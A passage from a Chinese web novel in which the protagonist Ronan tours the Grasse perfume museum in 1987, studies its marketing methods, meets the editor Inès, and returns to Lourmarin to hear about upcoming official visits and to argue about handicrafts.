罗南默默点头,这次来格拉斯除了了解博物馆-香水这条成功的商业模式,还想替卢尔马兰政府来取取经。 4月份,商业街上的粉红酒博物馆也要开业了,虽然那里肯定没有价值连城的古董,但有其他可以学习的地方。 他问旁边的切尔诺: “门票多少钱?” 既然是正儿八经的博物馆,肯定要收门票的钱。 即使像格拉内博物馆那样的公立博物馆,也只有一小部分区域免费,想要参观完全得付费。 罗南猜这种私人博物馆更加要收门票了,说不定这就是他们‘商业模式’的开始。 怎料切尔诺摇着头说: “免费的,里面一切的参观都免费。” 罗南一怔。 不收门票钱,说明里面可以‘转化’的事情更多啊。 哪个资本家会做赔钱的买卖? 聊着聊着,二人终于进入了法国第一所香水博物馆内部。 一个长相精致、身上带着明显香气的女孩走过来,礼貌的问二人: “是第一次来参观吗?” 切尔诺摇头,说来过好几次了。 罗南老老实实的点头,说自己是第一次来。 那女孩笑着把罗南带去了一个地方: “第一次来的顾客要建立‘嗅觉档案’,我先带您去那边登记,留下姓名、电话和家庭住址即可。” 罗南不疾不徐的跟在那女孩身后。 今天的学习之旅正式开始了。 第361章 百年香水之旅 在格拉斯学习的第一课从‘嗅觉档案’开始。 ‘嗅觉档案’就是类似会员的机制。 1987年,有规模化的会员制度还没有普及,法国企业会以各种有意思的噱头留下潜在用户的个人信息。 这个女孩给罗南建立‘嗅觉档案’时介绍,一年365天都有其代表的不同香型,拿着‘嗅觉档案’给的凭证,可以在调香区闻到自己生日那天的特殊香气,同时也可以了解身边重要亲属的特殊香气,例如妻子,又例如孩子。 有了这种有意思的设定,游客对留下个人信息也就没有那么排斥了。 这一点非常值得学习。 未来可以根据来卢尔马兰旅游顾客的国籍、消费偏好等信息,反向指导生产线。 拿到的信息多,售卖的时候还可以做更有倾向性的推荐,从而提升商品的售出率。 冬天是普罗旺斯旅游的淡季,今天也不是节假日,罗南很理解这女孩可以有更多的精力放到自己身上。 但她不止一次旁敲侧击的打探罗南是否结婚、是否有孩子,让他有些费解。 这些信息同样重要吗? “您的‘嗅觉档案’已建立完成,之后如果您的妻子和孩子到访,我们会把你们的信息整合成一份家族嗅觉档案。”那女孩笑着带罗南二人回到博物馆的门口,“需要我安排人为你们做讲解吗?” 切尔诺不希望有人抢了自己的工作,礼貌的拒绝: “不需要了,谢谢。” 那女孩又期待的看向罗南,似乎在问: 这位先生,您也不需要吗? 罗南也笑着回复: “不需要了谢谢,我们随便逛逛。” 有外人在,罗南不方便问切尔诺问题。 那女孩遗憾的点了点头,双手交叠于身前,微微前倾身体: “欢迎来到香水的摇篮,请开始您的芳香之旅吧。” 见那女孩离开,罗南忍不住问身边的切尔诺: “是否结婚、是否有孩子很重要吗?” 切尔诺正站在指引牌前,打算给罗南讲今天的‘芳香之旅’要从哪里开启。 为了让罗南‘不虚此行’,他做功课时花了许多小心思,生怕罗南觉得无聊或者枯燥。 没想到刚一进来,罗南先生就开始问问题了。 “非常重要!”切尔诺点头道,“格拉斯国际博物馆打出了一个‘儿童友好型’博物馆的旗号,里面有许多可以让孩子沉浸其中的设计。” “儿童友好型博物馆?”罗南更感兴趣了。 他闻到了浓浓的‘阴谋气息’! “这个我会在参观的途中给您慢慢介绍。”切尔诺微笑着说。 之后他指着面前地图对罗南说: “格拉斯国际香水博物馆占地3000平方米,采用专业而独特的方式,向游客揭开了具有神秘色彩的奢侈品‘秘闻’,这些是展馆各层的信息。” 罗南看到地图上写了原材料、植物采集、萃取、蒸馏、工业化生产和香水瓶等名称,这些不同内容的展馆分布在了博物馆前三层的各个区域。 切尔诺介绍这是‘揭开具有神秘色彩的奢侈品秘闻’,但在罗南看来,这就是制作香水的各个流程。 格拉斯国际香水博物馆把制作香水的流程定为了参观主题.罗南把这一点记在心里。 看完门口的地图,罗南迈步向着距离门口最近的展馆前行,但切尔诺将他拦住。 “罗南先生,我们先从4层开始浏览。”切尔诺指向楼梯的位置。 切尔诺是今天的导游,罗南当然要听从他的建议。 上楼时,罗南好奇的问: “从四楼开始看是出于什么原因?” 切尔诺像是一个求夸赞的孩子: “我所负责的杂志做过许多关于格拉斯国际香水博物馆的主题内容,也接触过成千上万来这里参观的游客,根据我的分析,先从四层开始游览,可以提升对后续参观的积极性。” 说完,他对罗南眨了眨眼睛: “这是内部消息,一般人不知道。” 罗南笑着对切尔诺: “我已经迫不及待的想要看到4楼都陈列了什么物品。” 他看过一楼的地图,四层全部是珍品展示。 导游切尔诺用激昂的语气给罗南介绍: “福克斯家族一共拥有5万余件各个时期和香气有关的藏品,有一部分放在了格拉斯的博物馆,有一部分放在巴黎的博物馆,还有的成为了家族成员的私藏品。” 步入四层的展厅,罗南顿时觉得自己回到了戈尔德。 这里的陈列方式、灯光设计和装修风格和那些普罗旺斯顶尖的大型艺术展没有任何区别。 可能是受到了环境的影响,切尔诺的声音也轻柔了下来,既不希望打扰其他游客参观,也不想打扰这些有百年历史的古物休息: “无论是哪个时代、哪种流行风格,香水都以三种形式存在着,液体、固体和气体作为收藏品,格拉斯国际香水博物馆按年份和历史的顺序,为游客展出了香水的各个方面及其多样化的用途。” 就像切尔诺所说,从四层参观确实可以勾起对接下来行程的好奇心,罗南的面前似乎打开了一座新世界的大门。 让他这个不了解香水、到了普罗旺斯不再用香水的人轻松的了解了香水的‘前世今生’。 眉墨盒、香盒、嗅盐瓶、香炉、干花瓶、旅行梳妆盒琳瑯满目的珍贵容器一个接一个的进入了罗南的视线中。 其中有几个藏品给罗南留下了极为深刻的印象。 “这种小巧的器物叫‘琥珀苹果’,通常被分成四到六份,用来盛放干香水或小块香薰海绵,18世纪某些气味浓烈的物质被认为可以抵御流行病带来的瘴气,我们面前的这款‘琥珀苹果’用途和香囊类似,可以佩戴在腰带上,也可以作为吊坠或拿在手中,其制作工艺与真正的珠宝无异。” “格拉斯地区盛产佛手柑树,早在17世纪,当地工匠就萌生了用散发着香味的果皮制作小盒子的想法,佛手柑盒上画有精致的风景、风俗画、乐器或宗教等主题,我们面前的这几款是17世纪佛手柑盒的流行样式,它们常常作为礼物赠送。” 切尔诺非常了解格拉斯,也非常了解香水博物馆,每一个东西都能说出许许多多的门道,一看就是来过许多次。 不过在某一个珍品前,这位‘导游’流露出了明显不同的兴奋: “罗南先生,这个藏品是福克斯家族在1985年新拍到的,之前一直是私藏品,今年才拿到博物馆我还是第一次见到它。” 罗南看过去,发现那是一个造型古朴、精致的手提箱。 人形讲解器切尔诺下线,罗南便把目光投去了旁边的介绍,看到上面写的是——玛丽·安托瓦内特的旅行必需品。 玛丽·安托瓦内特? 罗南不禁一阵瞳孔地震。 玛丽·安托瓦内特是路易十六的王妃,也就是法兰西曾经的王后,她于37岁上了断头台,结束了不算长,但绝对传奇的一生。 和政治有关的事不予评论,这位王后在美学和艺术方面有着过人的天赋。 她着迷于时尚,喜欢设计新衣服和新发型,还掌握竖琴和大提琴两种乐器,是许多作曲家的狂热拥护者。 同时玛丽·安托瓦内特也是那个时期许多艺术家的赞助人,以她为主题创作的雕塑和画作有几百件之多。 正是由于玛丽·安托瓦内特对艺术的影响颇深,和她有关的艺术品都价值连城,比一般皇室收藏品的价值高15%-25%。 在几年前的巴黎,一套曾被她佩戴过的天然珍珠项链拍到了800多万美金的价格。 虽然资本市场对和其有关的珠宝和肖像画更为热衷,但这种随身携带的箱子,价格肯定也是以百万美元为单位的。 这位法国皇室传奇人物的随身箱子里放了巧克力糖罐、两种不同气味的香水瓶和用于加热饮料的小火炉。 “果然很法国,果然很皇室。”罗南轻笑道。 “连玛丽·安托瓦内特都如此着迷于香水,但那个时候还没到香水的黄金时期呢。”切尔诺也看完了这个展品的介绍,不由的感叹道。 他很快收敛起个人情绪,对罗南说: “这层看完了,我们去楼下看看这种自几百年前就让贵族欲罢不能的东西有怎样的魅力吧?” “好。”罗南点头同意。 切尔诺提出的先从4层开始参观的建议果然让罗南对探寻香水博物馆的兴趣更加浓厚了。 如果先从一层的制作环节开始参观,注意力可能不会太集中。 但看到这些横跨几百年、来自世界各地的藏品后,他心中会升起一种——香水的魅力果然无穷,我要好好了解一下的心理。 虽然卢尔马兰的粉红酒博物馆没有条件放置价值连城的藏品,但也可以从中借鉴到一些东西。 例如,要想办法在最初就勾起大家对粉红酒的兴趣,才有利于后面的参观和最终的商品销售。 “回去把在格拉斯的见闻转告给布兰科,看看他有没有什么好的解决办法。” 罗南最后看了一眼这些藏品,跟随切尔诺走向古朴风格的楼梯。 第362章 死脑子,快记! 格拉斯香水博物馆一共有3个楼梯。 参观完4层,切尔诺和罗南从一组新的楼梯下去。 楼梯间里,罗南发现两侧的墙上挂了几幅被保护着的油画,看起来也是藏品,但上面的内容和香水没有什么关系,是人物,旁边并没有作品介绍。 “这些油画也和香水有关吗?”切尔诺对香水和格拉斯的了解非常足,于是罗南向他请教这个问题。 格拉斯‘小百科’立即做出一副‘你算问对人’了的得意表情: “这些画和香水没有关系,它们和福克斯家族有关系。” “和福克斯家族有什么关系?”罗南好奇的问。 切尔诺放慢了脚步,娓娓道来: “在做皮具和香水前,福克斯家族中出现过几位有名的艺术家,这几幅画就是其中一位在路易十五时期活跃于上流社会的家族成员画的。” 他继续给罗南介绍道: “这位艺术家尤其擅长画爱情和xing相关的主题,路易十五的情人杜芭丽夫人一直是他的赞助人,曾委托他创作了一组由4副油画组成的‘爱情系列’,许多人猜测,福克斯家族之所以能做出如此美妙的香水,就是因为其祖先的血液里流淌着迷幻和性感的基因。” 切尔诺的介绍让罗南联想到了阿斯特丽德。 罗南已经确认这位女士一定是福克斯家族的后裔,因为帕特里西亚小姐证实了这个信息。 但阿斯特丽德对外一直宣传自己是萨德侯爵的后代,而不是名声更加好的福克斯家族 不管其中的缘由是什么,都代表这两个家族曾一度进行过通婚。 “你知道福克斯家族的历史吗?在路易十五以前的。”罗南继续问切尔诺。 这次小百科也不好使了,他歉意的摇头: “如果不是他们故意展出这几幅十五世纪的油画,大家以为福克斯家族的历史是从16世纪才开始的不过市面上有一种说法,福克斯家族也许从公元5世纪就存在了,是当时一支没落贵族的后裔。” 怕给罗南留下一个‘准备不到位’的印象,切尔诺继续补充: “中世纪,贵族多次面临蛮族入侵和宗教清洗的大灾难,为了求生,会使用许多‘特殊’手段,他们是联姻、血统嫁接、伪造家谱和操纵宗教信仰的祖先.这其中一定有许多不光彩的历史,所以选择刻意隐瞒。” 罗南点了点头,没有就这个问题继续提问。 阿斯特丽德曾经说过她祖先炸裂的信仰——他们是坚定的无神论者,主张上帝不是宇宙的第一推动力,恶才是上天最神秘的意志,人类应该在无政府状态下的猎杀中时刻保持活力。 相信他们家族的历史肯定谈不上多么光彩,说不定比萨德侯爵的怪癖还要炸裂。 不过现在福克斯家族的名声已经非常好了啊。 阿斯特丽德为什么还是要故意隐瞒呢? “难道也是因为其中有‘不光彩’的东西?”罗南小声嘀咕了一句。 博物馆的四楼是历史藏品,让人沉迷于香水自古的魅力。 楼下的三层则仿佛让游客置身于一座二十世纪初的香水工厂。 博物馆通过老照片、历史料片和纪录片等形式,向游客逐一展示香水生产的各个阶段和百年来香水制作工艺的发展。 从种植开始,经历采摘、挑选、混合、装瓶等种种步骤,最终呈现出了珍贵的精油——香水。 在采摘讲解厅,罗南看到这里多处以‘凌晨4点手工采摘,确保花瓣露水未蒸发时锁住香气’为宣传语,好奇的问切尔诺: “真的假的,全部是凌晨4点采摘的?” 切尔诺看出罗南语气中的‘不相信’,耸肩道: “你如果问是不是全部,那我不敢保证,不过在鲜花盛开季的清晨,福克斯家族的花田里有许多采花的工人,不少游客选择在早上去看摘花,那是一个非常有名的野生‘旅行项目’,比福克斯家族自己组织的体验项目还受欢迎.所以大家相信这个宣传语是真的。” 罗南又听到了感兴趣的内容,追问道: “福克斯家族还组织旅游服务?” 来之前罗南就想过,福克斯家族的香水产业链中是否包含旅游的板块。 普罗旺斯是旅游大区,各个企业都在想办法蹭这个热度,连略伦特先生的畜牧业家族都推出了‘牧羊人之路’的旅行线路。 提到旅游,切尔诺可说的东西更多了: “有的,福克斯家族开放了距离格拉斯城门2公里的一片花园供游客参观,面积在2公顷左右,那片花园里种植了许多芬芳的植物,玫瑰、茉莉、晚香玉、金雀花、橙花、天竺葵和珍贵的薰衣草.漫步于在阳光照射下的花海之中,是游客来格拉斯旅游不可或缺的一部分。” “参加体验项目需要花多少钱?”罗南满怀期待的问。 做奶酪的组织游客体验牧羊人之路、做香水的组织游客去摘花、他这个做葡萄酒的也可以去带游客参观葡萄园并让他们亲自采摘。 到时候也找一个好的宣传语打出去,万一种植出了稀缺的葡萄品种,同样是个卖点。 切尔诺回忆着说: “那是一项深度游服务,包含了花田晨采、亲手操作19世纪古董蒸馏器和在橡木桶陈酿室调配个人签名香水,全套体验的价格是350法郎,如果想让调香师陪同,需要另外增加1000法郎,深度游仅法语和英语,德语需额外付费翻译。” 罗南认真的把这些关键信息记了下来,这些都是他未来可以参考的东西。 切尔诺遗憾的说: “深度游只在5-7月开启,今天不能带您去体验实在太遗憾了。” 罗南笑着说: “没关系,我可以5-7月再来一次,带着我的家人,如果你有时间,和我们一起。” 能被主编口中的‘重要客户’邀请同游是切尔诺的无上光荣,他有些激动的说: “罗南先生,如果您对香水有兴趣,我可以帮您申请贵宾体验游,全程避开普通游客,直达香水原料库,最棒的调香师全程陪同,并有资格参与单一年份限量精油的拍卖,这些都是在福克斯家族年消费超过30万法郎的客户才可以享受的服务。 如果如果您能买点东西,说不定我还能用较低的额度给您申请到花田的冠名权!这是最高的礼宾待遇!” 记下来,全部记下来.罗南不停提醒自己的大脑赶紧工作! “谢谢你切尔诺。”罗南感激的拍了下切尔诺的肩膀。 伙计,你帮我大忙了。 这一次收获颇丰啊!! 接下来的参观中,罗南又陆续学到了不少有用并可以借鉴的东西。 世界早早进入工业时代,但福克斯家族坚持使用古老的精油提取工艺,他们的博物馆里陈列着许多退休的蒸馏器具,博物馆用‘英雄’来形容它们。 这让罗南联想到了酿酒。 现代工艺同样推动着葡萄酒庄使用更加先进的工业技术,罗南要采用的手工酿制同样属于古老的技艺。 采用手工艺酿酒首先是因为沃克吕兹省旅游局希望保护住这份即将失传的手艺,这是卢尔马兰申请预算非常有利的手段。 同时,在戈尔德的艺术活动中,马雷查尔和诺曼德馆长都曾围绕罗南的‘匠心’大作文章。 罗南可以效仿格拉斯香水博物馆的做法,围绕‘手工酿制’进行宣传,引发艺术家和顾客对粉红酒即将失传的传统工艺和手工艺者‘匠心’的共鸣。 “又找到一个宣传点。”罗南颇为满意的步入博物馆最后几个展厅。 下一个展区的主题是——嗅觉。 集魔术师、艺术家和化学家才艺于一身的调香师在此向大家展示自己调制香水的技艺。 调香师是比调酒师更加尊崇的职业,全世界只有不到250位,而其中的一大半都居住在格拉斯。 这些香水工业中最重要的灵魂有着敏锐的嗅觉,可以识别超过5000种香型,他们将花瓣和梦想勾兑成最迷人的气息。 而这种可以识别出5000种以上香型的艺术家们,设计出了多少种香味呢? 在1987年,这个答案是8000种! 没错,别说一年只有365天,就算有8000天也能把它们安插到每一个天里。 参观完‘嗅觉’展区,罗南来到了格拉斯博物馆倒数第二个展区——调香工作室。 这里是名副其实的香味实验室,陈列了大量香水瓶。 在工作人员给罗南和切尔诺找属于他们生日的香气瓶子时,罗南发现实验室一面透明的玻璃墙壁后有好几个孩子坐在那里。 “那些孩子在干什么?”罗南问切尔诺。 切尔诺笑着说: “这就是我说的‘儿童友好型’博物馆的由来,格拉斯是世界香水之都,博物馆希望能培养更多的孩子对香水感兴趣,所以开展了一项名为‘小小调香师’的活动,可以单次体验,也可以上系统的课程,引导孩子们探索香气的世界,学习调制香水、香氛、浴盐或制作花露水。” 高啊罗南在心中不禁感叹道。 福克斯家族在1987年就发现孩子的重要性了。 他在穿越前看过一个资料,里面的数据显示,只要把一个孩子留在某个商业区,其家长购买率可以高达72%。 福克斯家族打着‘小小调香师’的旗号,既能赚到钱,还能植入品牌认知,把这些孩子培养成未来的顾客群体,整套模式在1987年来说非常高端和先进,罗南算是学到了! 最后一个区域是商店。 陈列着由福克斯家族制作的成品香水、香皂和天然精油等。 罗南一边看一边总结今天的收获。 福克斯家族通过香水博物馆推广格拉斯的香水文化,在展馆内部通过孩子和各种巧思对普通游客进行成品转化。 同时针对高端人群设计了定制体验服务,甚至连花田命名这种体现尊贵唯一性的手段都用上了。 这一套组合拳下来,名气打出去了,各个人群也都触及到了果然是高明。 “买这么多东西吗?”切尔诺看到罗南抱到收银台上像山一样的商品,诧异的问。 罗南笑着说: “嗯,多买点回去送朋友。” 罗南是个有原则的人。 偷学了这么多,必须得交点学费。 第363章 接连不断的爆炸消息【加更】 格拉斯香水博物馆的参观时间应该是2-3个小时。 但由于罗南看的特别细、切尔诺给罗南讲的也很细,他们全部参观完用了4个多小时,从博物馆出来早就过了吃午饭的时间。 切尔诺谨遵主编大人的嘱托,下一个行程是带罗南品尝格拉斯最特色的美食。 他点的都是比较昂贵的餐品,选择的餐厅也是格拉斯较高档的那种,想在这位‘重要客户’面前留下个好印象。 但等他吃完饭去结账,服务员告诉他这桌已经买过单了。 “买过单了?是不是弄错了?”切尔诺瞪大了眼睛。 罗南让服务员离开,笑着对切尔诺说: “刚刚去卫生间时我买的。” 法国人聚餐通常是AA制,有些情侣出来吃饭也会AA,他们不曾见识过‘抢着买单’的场景,自然无法理解有些人说去卫生间其实还有其他含义。 切尔诺着急的说: “您怎么把单买了?我们出来接待客户可以报销,我——” 罗南挥手打断切尔诺的话: “你把这次出行当作接待客户,但我觉得这是一次旅行,朋友给我安排的很好,既专业又细心,我玩得非常开心。” 普罗旺斯人非常重视三餐,即使是没那么正式的午饭也要按时吃。 罗南请客,也因为他的原因耽误了切尔诺吃午饭的时间。 切尔诺嘴巴长长和和好几次,最终笑着说: “您,不,你能玩的开心就好,我今天也玩的很开心。” 切尔诺知道罗南的身份。 这位2月份普罗旺斯最炙手可热的艺术大师、会长伊内斯口中的‘重要客户’居然把我当朋友了? 这能不开心吗! 罗南不知道切尔诺复杂的心理活动,用闲聊的语气问他: “你在米切兰杂志社是负责什么的?” 切尔诺认真介绍自己: “我是《海岸》的编辑,主要负责普罗旺斯黄金海岸这一片区域的旅行信息。” 《海岸》是米切兰杂志社的头牌杂志。 米切兰杂志社的其他杂志只是在普罗旺斯受欢迎,但《海岸》在整个南法畅销多年,是一本专门面向年轻读者介绍法国南部旅游消息的专业旅游杂志。 南法从地理范围上包括奥克西塔尼大区、普罗旺斯-阿尔卑斯-蓝色海岸大区、新阿基坦大区南部和奥弗涅-罗讷-阿尔卑斯大区南部。 普罗旺斯只是南法的一部分。 居然是《海岸》的编辑罗南有些惊讶。 一是惊讶伊内斯从这么重要的杂志里调来了一个编辑给自己做导游。 二是惊讶于其貌不扬的切尔诺是个工作能力非常强的家伙,否则不会进入《南法》这么重要的杂志任职。 罗南立马起了结交心理,主动要求和切尔诺交换联系方式。 南法太大了,罗南只混普罗旺斯。 认识了切尔诺,等同于对普罗旺斯南部沿岸的那一片地区全部熟悉,将来说不定会有找他帮忙的地方。 称呼自己是朋友已经让切尔诺受宠若惊,罗南又主动要求留联系方式这让切尔诺感觉有些梦幻的不成样子。 直至他们离开餐厅,切尔诺的梦还在继续。 上帝,我是不是混入上层社会了? 不过紧跟着他们从餐厅里出来的一行人,让切尔诺回到了现实。 他居然在那一行人里看到了伊内斯,伊内斯身后是几个眼熟的同事! ‘女魔头’主编也来这家餐厅吃饭了? 条件反射似的,切尔诺立即小跑过去,恭敬的喊了一声主编。 伊内斯喜欢被人‘尊重’的感觉,而且痴迷于此。 每天早晨伊内斯进入公司,从大门到办公室的路上都可以听到几十声‘主编’。 罗南和伊内斯也看到了彼此。 罗南见会长身边跟着一大帮人,知道这并不是聊天的好机会,上一次朱莉特来餐厅就不想和罗南相认,等EEC的人走了,她才回去。 他猜这些大人物在同事面前有各自的顾虑。 于是罗南远远的对会长招了下手,并做了一个打电话的手势——你先忙,我们电话联系。 站在伊内斯身后的切尔诺吓死了。 主编不会生气了吧? 果不其然,在罗南简单打了个招呼后,伊内斯率领一众人浩浩荡荡的向着罗南走去。 罗南停下了脚步,不知道伊内斯要干什么,缓缓的迎着她走了过来。 跟在伊内斯身后的切尔诺矛盾的要死。 他才和罗南成为好朋友 如果一会主编对罗南‘发难’,他要不要帮罗南说两句,还是直接划清距离? 正在他左右为难之际,听到身前那个对他们严厉无比的主编,用带着笑的声音问: “吃索卡和香草羊腿了吗?这家餐厅的特色。” 切尔诺僵硬在原地。 他发誓,伊内斯见到自己的儿子,都没有这么好的脾气! 随即切尔诺脑海中的信息库进行了更新——罗南不是和主编儿子一样重要的人物,是比她儿子更加重要的人物!! 罗南特别自然的和伊内斯并排而行: “吃了,切尔诺还给我介绍了它们特色在哪里。” 伊内斯用温柔的语气继续问: “下午什么安排?我忙完了,带你再去格拉斯其他地方看看?” 罗南用明显开玩笑的语气说: “你亲自当导游?这趟行程我可不敢去!” 伊内斯瞥了罗南一眼,用嗔怪的语气说: “说的我好像有多凶似的.走吧,我们去城外的花田转转,我也好久没去了。” 跟在伊内斯身后的一众下属疯狂的互相对眼神,似乎在问: 我没听错吧? 主编还有这么热情和蔼的一面? 有人小声问切尔诺: “这人是谁啊?” 已经从震惊中走出的切尔诺双手举起,整理了一下精心收拾过的发型。 是谁? 是我的朋友! 只要讨好这位伟大的先生,未来在米切兰杂志社我就是主编大人的‘亲信’了!! 格拉斯距离罗南和伊内斯居住的地方都不算近,回去需要不短的时间。 两个人在光秃秃的花田里转了半个多小时就离开了。 不过在这短短的半个小时里,伊内斯通知了罗南一个消息,这也是她执意要和罗南出来转转的原因。 “3月初,我会邀请你和佐伊去尼斯狂欢节做嘉宾。”伊内斯背着手说。 罗南没有说话,只是侧头带着明显疑惑的神情回看她。 《普罗旺斯艺术评论》6月才会发刊,上次见面时伊内斯说4、5月份才会让罗南和佐伊配合着他们做事情。 现在提前到3月了? 伊内斯读懂了罗南的表情,没有什么情绪起伏的说: “今天和福克斯家族谈合作,他们对米切兰杂志社进军艺术界没有什么信心,觉得我们办不好《普罗旺斯艺术评论》,米切兰杂志社是尼斯狂欢节的主办方之一,而福克斯家族是这个活动连续十几年的赞助商,你们两个去露了脸,让福克斯家族看看我们的实力。” 法国尼斯狂欢节是世界三大狂欢节之一,它同时也是当今世界上历史最久、规模最大的狂欢节之一,每年冬去春来之际,人们聚集在一起,载歌载舞,欢庆新一年的农事活动开始。 尼斯狂欢节的到来,预示着春天来临了。 罗南对这个邀约没有异议,曝光的活动他愿意去,而且尼斯狂欢节和艺术没有关系,可以让他接触更多新的群体。 “只邀请我和佐伊?可以再带几个艺术家一起吗?”罗南问会长。 他想多带几个卢尔马兰的艺术家去。 伊内斯只思考了一两秒便回复道: “可以,你把名字汇总给我,我统一给你们发邀请函。” 福克斯家族想要看到米切兰杂志社在普罗旺斯艺术界的影响力,当然是去的艺术家越多越好了。 伊内斯今天回去也要邀请其他艺术家去尼斯。 “谢谢。”罗南笑着说。 伊内斯想到什么,突然认真的问罗南: “卢尔马兰最近是不是搬去了许多艺术家?” 罗南耸肩,笑着说: “不止艺术家,还有艺术从业者,整个2月来了三十多个人吧,现在卢尔马兰上空全部是装修的声音。” 伊内斯说出了一个让罗南无比震惊的消息: “沃克吕兹省旅游局成立了专项小组去卢尔马兰考察,应该最近就去了。” 米切兰杂志社做旅游内容起家的,和旅游局的关系非常近。 伊内斯能得知不少内部消息。 罗南意外的‘咦’了一声。 沃克吕兹省旅游局要来卢尔马兰考察? 考察什么? 回卢尔马兰的路上,罗南想了一路都没有想明白沃克吕兹省旅游局来卢尔马兰的原因。 他打算明天再休息一天。 去卢尔马兰政府讲述他在格拉斯见闻、看看能否对博物馆有所帮助的同时,把这个消息也同步给他们。 万一旅游局是‘突袭’呢? 但他一到卢尔马兰就接连听到了好几个炸裂的消息。 “沃克吕兹省农业部下周要来卢尔马兰科普‘气象保险’。”特奥用讲八卦的语气对罗南说。 罗南语气淡淡的说: “我知道。” 这个消息朱莉特跟他说过。 特奥不死心,继续说: “沃克吕兹省旅游局下周也要来卢尔马兰。” 罗南终于露出了一点惊讶的表情: “你们也知道了?” “当然知道,全村都知道!”特奥用更加八卦的语气说,“沃克吕兹省工商业联盟也要来,你知道吗?” 罗南瞪大的眼眶让特奥非常满意,他挑了下眉毛,继续抛出今天听来的小道消息: “听说3月份议会厅、国民教育部、经济部和财政部也分别要派代表来卢尔马兰,罗南,你说卢尔马兰是不是要发生什么大事了?” 罗南眉头紧锁,看向窗外政府大楼的方向。 3月份布兰科要去申请预算.这么多部门派代表来卢尔马兰,是因为这件事吗? 第364章 这椅子怎么开花了?! 第二天,罗南一早去了卢尔马兰政府,发现这里‘人去楼空’。 每一个办公室都大门紧锁,会议室、茶水间里也没有人活动。 政府大楼没有关门,说明里面肯定有人,罗南找啊找啊找,终于在一楼的厕里找到了正在抽烟的皮雷。 “你怎么在这?”罗南后撤了一大步,全然没想过能在这里看到这老小子。 皮雷见到罗南就生气,冷嘲热讽的说: “我在这里还不是因为你?绣被的生意又没人做了,不找新出路就要饿死!” 去年12月份,卢尔马兰的妇女们都去做花环订单,皮雷的心比寒潮还凉。 今年1月份,编织订单少了,又有不少妇女回去缝绣被,皮雷又活过来了。 2月前半个月一切正常,皮雷以为编织这股风潮离开了卢尔马兰,妇女们再次重归了他的怀抱,万万没想到.后半个月又找不到愿意缝绣被的人了! 他的心情起起伏伏,要被罗南和妇女们吊死了! 皮雷不敢赌妇女们3月能回去缝绣被,于是找了个班上——在政府大楼里做卫生。 这个工作原本属于另外一个村里的妇女,但她回家‘全职’做编织手工了。 罗南也不生气,笑呵呵的再次向他抛去橄榄枝: “你也跟着我去做手工吧,几点下班,一会去我那喝两杯?” 皮雷气呼呼的对罗南说: “我才不去!你也赶紧出去,今天政府里没人,你别在这里乱晃丢了东西算谁的?” “人都去哪了?”罗南指着厕所对面的楼梯问,“布兰科在楼上吗?” 几个月前,政府大楼也曾‘人去楼空’一次。 是布兰科把大伙儿派出去学习粉红酒的历史去了,不过他自己没出去。 皮雷一边把罗南往外轰,一边语气不算多好的说: “不在不在,都不在!下周沃克吕兹省旅游局的人要来卢尔马兰考察,大伙都出做接待准备了。” 罗南还纳闷沃克吕兹省的官员们要来卢尔马兰的消息怎么会传的人尽皆知.现在终于找到答案了。 他一边向外走一边问皮雷: “只是为了接待旅游局?听说还有其他部门要来吧?” 特奥可是一连说了五六个部门的名字。 “其他部门能和旅游局一样吗?”皮雷不知从谁嘴里听来的消息,学着布兰科的语气和神态说,“旅游局的考察对卢尔马兰无比重要,那关乎于整个政府之前半年的努力!” 所以说,旅游局来卢尔马兰和预算有关,其他部门来是因为其他吗罗南揣测起来。 但扎堆来也太奇怪了吧? 和皮雷分别前,罗南仍不忘拉他入伙: “说真的,以后我要做的种类越来越多,每个人都能赚到钱,你真不考虑一下吗?” 皮雷这老小子的手是出了名的巧,他做绣被的本事在村里只比康奈尔的母亲阿克尼娜差,想来做编织也应该不错。 皮雷暴跳如雷的说: “绣被是普罗旺斯传承了几百年的文化,和你们那种用藤蔓编的‘玩具’怎么可能一样?别怪我老皮雷说话不好听,什么编织艺术、什么编织手艺,在我看来那就是哄小孩玩的,和绣被完全不是一个等级!” 皮雷有一张大嘴巴,脾气和性格也谈不上多好,听说还经常克扣妇女们的辛苦钱,他和亨利一样,在村里的口碑非常差。 不过皮雷对绣被的执着让罗南很是动容和感动。 现在这个时代,谁会和‘钱’过不去呢? 但皮雷就是不想放弃他嘴里那个传承了几百年、老祖宗传下来的东西。 可绣被的发源地也不是普罗旺斯啊。 它发源自埃及和印度,只不过是通过马赛港到达法国,使得普罗旺斯成为法国第一个发现这种编织技术的地区,并将其发扬光大。 现在并不是讲历史的好时候,而且皮雷也不会听罗南讲的历史。 罗南叹了一口气: “编织只是在普罗旺斯的发展历史短,在其他地方可不短呢,今天下午我要在家做编织家具,如果有时间过来看看吧,随时欢迎你的加入。” “编织家具?”皮雷冷哼一声,扭头就走,“在凳子上缠几根破藤蔓就叫编织家具了?小孩子过家家一样!” 罗南耸了一下肩膀,没有和皮雷争辩,微笑着与他告别: “要是有那么简单就好了再见。” 没找到布兰科,这个时间也没办法进山了,罗南索性回到了家做起了编织家具。 巴蒂做了好几款新的编织装饰品,家具这里还迟迟没有进展。 不过卡福在阿普特的店铺也还没有装修好时间还是有的。 自从上次三个人碰了头,卡福每过一两天就会同步一次他那边的进展。 大家一致决定把‘卢尔马兰手工艺合作社’定位成一个高端的手工品牌,所以卡福选择的地点属于阿普特比较昂贵的地段,因此店铺面积没有多大,只能起到一个应急的作用。 对于处于创业初期的卡福来说,这是他能够承受的极限普罗旺斯的房价持续疯长,作为吕贝隆的首府,阿普特的房租也是接连突破新高,找店铺的时候卡福都开始打退堂鼓了。 未来‘卢尔马兰手工艺合作社’想要做大做强,还要另外寻找一个足够排场的大店,但那个大店显然不能在阿普特,至少短时间内卡福付不起每个月几万法郎的房租。 卡福和罗南联系密集还有另一个原因。 伙计们装修店铺得心应手,但他担心自己把店铺装修的不够大气,尤其是无法让高端客户满意.所以让罗南给把把关。 罗南给了卡福不少设计建议,不过为了保险起见,他也去咨询了布鲁诺的老婆阿曼达。 阿曼达在巴黎的老佛爷百货做售货员,老佛爷百货是巴黎最高档的百货商业之一,她太了解高端商铺应该是什么样了。 阿曼达很热情的给罗南提出了许多装修建议,还说等她月底搬到普罗旺斯会去阿普特的店铺看看。 罗南对此当然欢迎了。 这相当于是给他们的编织生意请了一个专业顾问——布鲁诺说过,阿曼达在老佛爷百货是卖奢侈品的。 “不知道阿曼达愿不愿意继续做类似的工作?”罗南不由得嘀咕了一句。 布鲁诺委托罗南给他妻子找工作。 罗南还真替他问了几个,不过没有找到特别好的。 